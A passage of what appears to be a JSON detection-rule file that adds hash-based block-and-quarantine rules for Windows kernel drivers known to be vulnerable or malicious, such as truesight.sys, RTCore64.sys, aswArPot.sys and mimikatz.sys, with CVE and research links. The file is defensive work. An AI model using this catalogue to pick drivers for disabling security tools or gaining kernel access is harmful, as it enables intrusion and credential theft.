+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85300aa9-a081-5a81-8baa-7bcb613c0424",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489702Z",
+  "creation_date": "2026-03-23T11:45:31.489705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489712Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4089a7db28609073dc3ed733ea83b6334923ddd635b7b9153196b2f6489344c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85328622-6c71-5e6e-b34b-92e2ec2cee3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472202Z",
+  "creation_date": "2026-03-23T11:45:31.472205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472214Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed1123884c56f51ceeff4b8436b0daca4345bea8d3be6d910d37ef36d97adc68",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8532b569-9f2d-5490-99c2-813354ca3843",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607997Z",
+  "creation_date": "2026-03-23T11:45:29.607999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608004Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "606beced7746cdb684d3a44f41e48713c6bbe5bfb1486c52b5cca815e99d31b4",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85353b41-8fbe-58d1-bb94-eb918086deec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489652Z",
+  "creation_date": "2026-03-23T11:45:31.489655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "981890ee9c10c9885b0e18bab66a1edc90873bc71f332df8c1569a935044bab4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85376a79-eda7-50f1-9c1a-81f7859b5d7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826650Z",
+  "creation_date": "2026-03-23T11:45:31.826652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59af1616a5d287df7af458ea857bbff6ffa096ca3161c1576ba0a9c0a8ec6136",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8537c540-a2ea-56aa-b25d-980270622e0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474482Z",
+  "creation_date": "2026-03-23T11:45:31.474486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2810d5f117de53be7460cdf9cb842e205bc57ecd1ac0f9a75cce6bf24a7679ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "854406d2-c011-542d-8da2-584a3c97bea3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477696Z",
+  "creation_date": "2026-03-23T11:45:30.477699Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e85cf32562a47d51827b21ab1e7f8c26c0dbd1cd86272f3cc64caae61a7e5fb",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "854ecd33-c255-5dd9-aab6-e3c9580d000a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825558Z",
+  "creation_date": "2026-03-23T11:45:30.825561Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74bcd33f80f319470a1953ba5ff5aa472bb608060f899823714debfec67e3f55",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85536b3c-6500-58f7-81c0-ad8f3825c716",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817329Z",
+  "creation_date": "2026-03-23T11:45:30.817331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0e2a4bf10a9428888e043fa40f7af74a963ed663c6bf4e2f136e39c41f606db",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8558761d-66f6-5c6d-87fc-42eeae05a614",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969096Z",
+  "creation_date": "2026-03-23T11:45:29.969100Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969106Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1273b74c3c1553eaa92e844fbd51f716356cc19cf77c2c780d4899ec7738fbd1",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "855bcbfa-d741-57a5-baf9-338ad2cb8950",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621263Z",
+  "creation_date": "2026-03-23T11:45:29.621265Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "436ccab6f62fa2d29827916e054ade7acae485b3de1d3e5c6c62d3debf1480e7",
+  "comment": "ASUSTeK vulnerable physmem driver (aka AsIO64.sys) [https://www.loldrivers.io/drivers/79692987-1dd0-41a0-a560-9a0441922e5a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "856d3bc6-9c51-5de7-a640-944db2ac5a95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823767Z",
+  "creation_date": "2026-03-23T11:45:31.823769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823775Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c98d33a785d0ea8461d8ccc68e6a185ee47671bd798f027a758e6658cf67129",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85749656-42ba-593a-b771-5b6133d17ea9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483180Z",
+  "creation_date": "2026-03-23T11:45:31.483184Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca18d6a7d349fce5d87c8df1cb134dc8a64ac30c52d8007959d91a9e18fb1290",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "857d144a-9ab9-5c26-b738-47b91a6c0165",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483847Z",
+  "creation_date": "2026-03-23T11:45:31.483851Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04f301e64c65392488add6711527ab76955cc5835691701fa16ae080b6366eb3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8585827a-b81b-577d-8189-521286e613ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481496Z",
+  "creation_date": "2026-03-23T11:45:30.481499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9399f35b90f09b41f9eeda55c8e37f6d1cb22de6e224e54567d1f0865a718727",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8585c362-f637-53f1-bb5f-1849cf020c6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979394Z",
+  "creation_date": "2026-03-23T11:45:29.979396Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "770f33259d6fb10f4a32d8a57d0d12953e8455c72bb7b60cb39ce505c507013a",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85911e54-9823-50fc-8d0d-62d283e1c39b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475100Z",
+  "creation_date": "2026-03-23T11:45:30.475103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19e80663f055a038621c6de731151e4e8d6f42fde359efaf2ddeb49c62e317c4",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8597c034-1310-5a1e-a25b-573795d15efc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809674Z",
+  "creation_date": "2026-03-23T11:45:31.809677Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2647489235835128e939e3d49d6ec9369c09256e47b2c647a73a730346a3954c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85a0def7-df67-5127-a898-abc2cdc9fd66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608422Z",
+  "creation_date": "2026-03-23T11:45:29.608424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78827fa00ea48d96ac9af8d1c1e317d02ce11793e7f7f6e4c7aac7b5d7dd490f",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85b845e6-ef75-5bf9-aad8-d79d22262657",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151730Z",
+  "creation_date": "2026-03-23T11:45:31.151732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4021068436795b26ebf4438a76e131f1630a95fc688380eee09c86f3d4ce6c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85b8522c-69e1-5c3b-93b1-ef3c20c621b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615972Z",
+  "creation_date": "2026-03-23T11:45:29.615974Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615979Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073",
+  "comment": "TOSHIBA BIOs update vulnerable driver (aka NCHGBIOS2x64.SYS)",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85b9b4ad-ba4c-56ad-aca9-135620125c08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974247Z",
+  "creation_date": "2026-03-23T11:45:29.974249Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66539655171ddff02d8134241c58a53de3faa6467db7be14131e04b99ef33cee",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85c0cc41-8fab-590c-984f-dfcb0aff69c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
